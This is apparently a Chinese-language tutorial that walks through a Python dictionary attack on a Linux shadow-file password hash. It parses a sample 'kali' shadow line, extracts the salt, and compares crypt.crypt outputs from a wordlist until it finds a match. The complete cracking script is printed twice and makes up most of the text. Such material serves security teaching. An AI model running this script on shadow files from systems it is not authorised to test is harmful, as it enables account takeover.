Linux 中的 shadow 文件是存放管理员及用户密码信息的。
但其存储的密码信息都是加密格式,我们应该如何爆破从而获取密码呢?
在此可尝试利用 python 脚本的方式进行破解。
1. 首先获取其中一个用户的shadow信息,并进行输出。
shadow_line = "kali:$y$j9T$fkwr5RIo3Ksq64TBXIBut.$qij7vYsTDTPTJ.Z27XfTagAfgTWjmEq8t4iJgtI7GZ7:19601:0:99999:7:::"
print(f"[+] The shadow line is:{shadow_line}")
2. 从shadow文件中,提前密码密文
split() 函数的意思是:以()中内容作为分隔符,取第几个值
下方意为以冒号作为分隔符,取 [1],也就是 shadow 信息中的第二个元素,即密文信息。
(因为 数组 等均默认以 0 为起点)
crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt text is:{crypt_text}")
3. 从密码密文中,提取盐值
rindex() 函数的意思是:从右向左开始查找,查找第一个字符是()中内容的索引位
crypt_text[0:crypt_text.rindex("$")]:取字符串,范围在 0 ~ 从右向左开始查找第一个 $ 符出现的位置
salt = crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is:{salt}")
4. 从密码字典文件中,依次读取密码,进行加盐加密操作,将得到的加密值与原密文进行比较,若相同,则表明密码明文一致,即为所求。
file_path = "/home/kali/Desktop/pass.txt"
# 从所提供的文件路径中打开文件,进行“读”操作
with open(file=file_path, mode= "r") as f:
for line in f:
password = line.strip()
print(f"\r[-] Trying password:{password}", end= "")
# 把读取到的密码与盐值进行加密运算,得到猜测的密码密文
new_crypt_text = crypt.crypt(password, salt)
# 如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了
if new_crypt_text == crypt_text:
print(f"\n[+] PASSWORD FOUND:{password}")
exit()
print(f"[+] PASSWORD NOT FOUND!")
整体代码如下:
# 获取shadow文件
import crypt
shadow_line = "kali:$y$j9T$fkwr5RIo3Ksq64TBXIBut.$qij7vYsTDTPTJ.Z27XfTagAfgTWjmEq8t4iJgtI7GZ7:19601:0:99999:7:::"
print(f"[+] The shadow line is:{shadow_line}")
# 从shadow文件中,提前密码密文
crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt text is:{crypt_text}")
# 从密码密文中,提取盐值
salt = crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is:{salt}")
# 从密码字典文件中,读取密码
file_path = "/home/kali/Desktop/pass.txt"
with open(file=file_path, mode= "r") as f:
for line in f:
password = line.strip()
print(f"\r[-] Trying password:{password}", end= "")
# 把读取到的密码与盐值进行加密运算,得到猜测的密码密文
new_crypt_text = crypt.crypt(password, salt)
# 如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了
if new_crypt_text == crypt_text:
print(f"\n[+] PASSWORD FOUND:{password}")
exit()
print(f"[+] PASSWORD NOT FOUND!")
执行结果如下:
获取密码即为爆破成功。